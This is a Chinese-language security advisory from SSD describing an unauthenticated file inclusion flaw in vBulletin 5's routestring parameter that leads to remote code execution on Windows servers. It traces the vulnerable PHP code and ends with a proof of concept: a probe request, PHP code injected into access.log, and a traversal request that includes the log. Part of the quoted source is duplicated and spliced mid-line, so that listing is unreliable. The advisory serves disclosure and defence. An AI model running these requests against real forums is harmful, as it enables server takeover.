SSD安全公告-vBulletin routestring未经验证的远程代码执行
Credit to Author: SSD / Maor Schwartz| Date: Sun, 31 Dec 2017 06:31:17 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
 See our full scope at: https://blogs.securiteam.com/index.php/product_scope
漏洞概要
 以下安全公告描述了在vBulletin5中发现的一个未经身份验证的文件包含漏洞,成功利用该漏洞可造成远程代码执行。
vBulletin也称为vB,由vBulletin Solutions公司基于PHP和MySQL开发,广泛用于搭建网络论坛。 vBulletin为许多网络大型的社交网站提供技术支持,数量超过10万,其中包括财富500强和Alexa Top 1M公司的网站和论坛。根据最新的W3Techs1统计,vBulletin 4拥有超过55%的vBulletin市场份额,而vBulletin 3和vBulletin 5则占剩下的45%。
漏洞提交者
 一位独立的安全研究人员向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
 自2017年11月21日起,我们多次尝试联系vBulletin,但是暂时没有得到回复。目前,漏洞暂时还没有解决方案。
漏洞详细信息
 vBulletin存在一个漏洞,导致远程攻击者可以从vBulletin服务器中包含任意文件并执行PHP代码。
未经身份验证的用户可以向/index.php发送GET请求,然后使用参数routestring =触发文件包含漏洞。
该请求允许攻击者向安装在Windows操作系统上的Vbulletin服务器创建精心制作的请求,并在Web服务器上包含任意文件。
/index.php 部分代码:
让我们仔细看看vB5_Frontend_Application :: init — /includes/vb5/frontend/application.php部分代码:
1 2 3 4 5 6 7 8  | /* 15 */   public static function init($configFile) /* 16 */    { /* 17 */       parent::init($configFile); /* 18 */     /* 19 */       self::$instance = new vB5_Frontend_Application(); /* 20 */       self::$instance->router = new vB5_Frontend_Routing(); /* 21 */       self::$instance->router->setRoutes(); /* … */  | 
我们可以看到setRoutes()被调用
/includes/vb5/frontend/routing.php部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129  | /* 47 */      public function setRoutes()             /* 48 */      {             /* 49 */         $this->processQueryString();          /* 50 */                   /* 51 */         //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it          /* 52 */         //$path = isset($_SERVER[‘PATH_INFO’]) ? $_SERVER[‘PATH_INFO’] : ”;          /* 53 */                   /* 54 */         if (isset($_GET[‘routestring’]))          /* 55 */         {          /* 56 */            $path = $_GET[‘routestring’];       /* … */                   /* 73 */         }          /* 74 */                   /* 75 */         if (strlen($path) AND $path{0} == ‘/’)          /* 76 */         {          /* 77 */            $path = substr($path, 1);       /* 78 */         }          /* 79 */                   /* 80 */         //If there is an invalid image, js, or css request we wind up here. We can’t process any of them          /* 81 */         if (strlen($path) > 2 )          /* 82 */         {          /* 83 */            $ext = strtolower(substr($path, –4)) ;       /* 84 */            if (($ext == /* 47 */      public function setRoutes()             /* 48 */      {             /* 49 */         $this->processQueryString();          /* 50 */                   /* 51 */         //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it          /* 52 */         //$path = isset($_SERVER[‘PATH_INFO’]) ? $_SERVER[‘PATH_INFO’] : ”;          /* 53 */                   /* 54 */         if (isset($_GET[‘routestring’]))          /* 55 */         {          /* 56 */            $path = $_GET[‘routestring’];       /* … */                   /* 73 */         }          /* 74 */                   /* 75 */         if (strlen($path) AND $path{0} == ‘/’)          /* 76 */         {          /* 77 */            $path = substr($path, 1);       /* 78 */         }          /* 79 */                   /* 80 */         //If there is an invalid image, js, or css request we wind up here. We can’t process any of them          /* 81 */         if (strlen($path) > 2 )          /* 82 */         {          /* 83 */            $ext = strtolower(substr($path, –4)) ;       /* 84 */            if (($ext == ‘.gif’) OR ($ext == ‘.png’) OR ($ext == ‘.jpg’) OR ($ext == ‘.css’)       /* 85 */               OR (strtolower(substr($path, –3)) == ‘.js’) )    /* 86 */            {       /* 87 */               header(“HTTP/1.0 404 Not Found”);    /* 88 */               die(”);    /* 89 */            }       /* 90 */         }          /* 91 */                   /* 92 */         try          /* 93 */         {          /* 94 */            $message = ”; // Start with no error.       /* 95 */            $route = Api_InterfaceAbstract::instance()->callApi(‘route’, ‘getRoute’, array(‘pathInfo’ => $path, ‘queryString’ => $_SERVER[‘QUERY_STRING’]));       /* 96 */         }          /* 97 */         catch (Exception $e)          /* 98 */         {          /* … */                   /* 106 */         }          /* … */                   /* 127 */         if (!empty($route))          /* 128 */         {          /* … */                   /* 188 */         }          /* 189 */         else          /* 190 */         {          /* 191 */            // if no route was matched, try to parse route as /controller/method       /* 192 */            $stripped_path = preg_replace(‘/[^a-z0-9/-_.]+/i’, ”, trim(strval($path), ‘/’));       /* … */   /* 229 */         }          /* 230 */                   /* 231 */         //this could be a legacy file that we need to proxy.  The relay controller will handle          /* 232 */         //cases where this is not a valid file.  Only handle files in the “root directory”.  We’ll          /* 233 */         //handle deeper paths via more standard routes.          /* 234 */         if (strpos($path, ‘/’) === false)          /* 235 */         {          /* 236 */            $this->controller = ‘relay’;       /* 237 */            $this->action = ‘legacy’;       /* 238 */            $this->template = ”;       /* 239 */            $this->arguments = array($path);       /* 240 */            $this->queryParameters = array();       /* 241 */            return;       /* 242 */         }          /* 243 */                   /* 244 */         vB5_ApplicationAbstract::checkState();          /* 245 */                   /* 246 */         throw new vB5_Exception_404(“invalid_page_url”);          /* 247 */      }   ) )    /* 86 */            {       /* 87 */               header(“HTTP/1.0 404 Not Found”);    /* 88 */               die(”);    /* 89 */            }       /* 90 */         }          /* 92 */         try          /* 93 */         {          /* 94 */            $message = ”; // Start with no error.       /* 95 */            $route = Api_InterfaceAbstract::instance()->callApi(‘route’, ‘getRoute’, array(‘pathInfo’ => $path, ‘queryString’ => $_SERVER[‘QUERY_STRING’]));       /* 96 */         }          /* 97 */         catch (Exception $e)          /* 98 */         {          /* … */                   /* 106 */         }          /* … */                   /* 127 */         if (!empty($route))          /* 128 */         {          /* … */                   /* 188 */         }          /* 189 */         else          /* 190 */         {          /* 191 */            // if no route was matched, try to parse route as /controller/method       /* 192 */            $stripped_path = preg_replace(‘/[^a-z0-9/-_.]+/i’, ”, trim(strval($path), ‘/’));       /* … */   /* 229 */         }          /* 230 */                   /* 231 */         //this could be a legacy file that we need to proxy.  The relay controller will handle          /* 232 */         //cases where this is not a valid file.  Only handle files in the “root directory”.  We’ll          /* 233 */         //handle deeper paths via more standard routes.          /* 234 */         if (strpos($path, ‘/’) === false)          /* 235 */         {          /* 236 */            $this->controller = ‘relay’;       /* 237 */            $this->action = ‘legacy’;       /* 238 */            $this->template = ”;       /* 239 */            $this->arguments = array($path);       /* 240 */            $this->queryParameters = array();       /* 241 */            return;       /* 242 */         }          /* … */         | 
因此,如果我们的字符串不以’.gif,‘.png’,’.jpg’,’.css’或者‘.js’结尾并且不包含’/’字符,vBulletin会从vB5_Frontend_Controller_Relay中调用legacy()
/includes/vb5/frontend/controller/relay.php部分代码:
1 2 3 4 5  | /* 63 */   public function legacy($file) /* 64 */   { /* 65 */      $api = Api_InterfaceAbstract::instance(); /* 66 */      $api->relay($file); /* 67 */   }  | 
如果我们从Api_Interface_Collapsed类中检查relay()
/include/api/interface/collapsed.php部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13  | /* 117 */   public function relay($file) /* 118 */   { /* 119 */      $filePath = vB5_Config::instance()->core_path . ‘/’ . $file; /* 120 */       /* 121 */      if ($file AND file_exists($filePath)) /* 122 */      { /* 123 */         //hack because the admincp/modcp files won’t return so the remaining processing in /* 124 */         //index.php won’t take place.  If we better integrate the admincp into the /* 125 */         //frontend, we can (and should) remove this. /* 126 */         vB_Shutdown::instance()->add(array(‘vB5_Frontend_ExplainQueries’, ‘finish’)); /* 127 */         require_once($filePath); /* 128 */      } /* … */   | 
正如我们所看到的,攻击者无法在$文件中使用“/”,所以不能在Linux上更改当前目录。但是对于Windows而言,可以使用’’作为路径分隔符,通过PHP包含任意所需的文件(也可以使用’ .. ’技巧)。
如果我们想包含扩展名为’.gif’,’.png’,’.jpg’,’.css’或’.js’这样的文件,需要绕过setRoutes()方法里面的过滤,绕过很容易,可以通过添加点(’.’)或空格(’%20’)到文件名来绕过。
完整的漏洞证明
我们可以通过发送下面的GET请求来检查服务器是否有漏洞:
/index.php?routestring=.\
如果回显是:
那么服务器存在漏洞
如果我们想要在服务器上的任何文件中注入一个php代码,我们可以使用access.log例如:
/?LogINJ_START=< ?php phpinfo();?>LogINJ_END
之后,我们可以包含access.log与我们的PHP代码:
 /index.php?routestring=\..\..\..\..\..\..\..\..\..\..\xampp\apache\logs\access.log



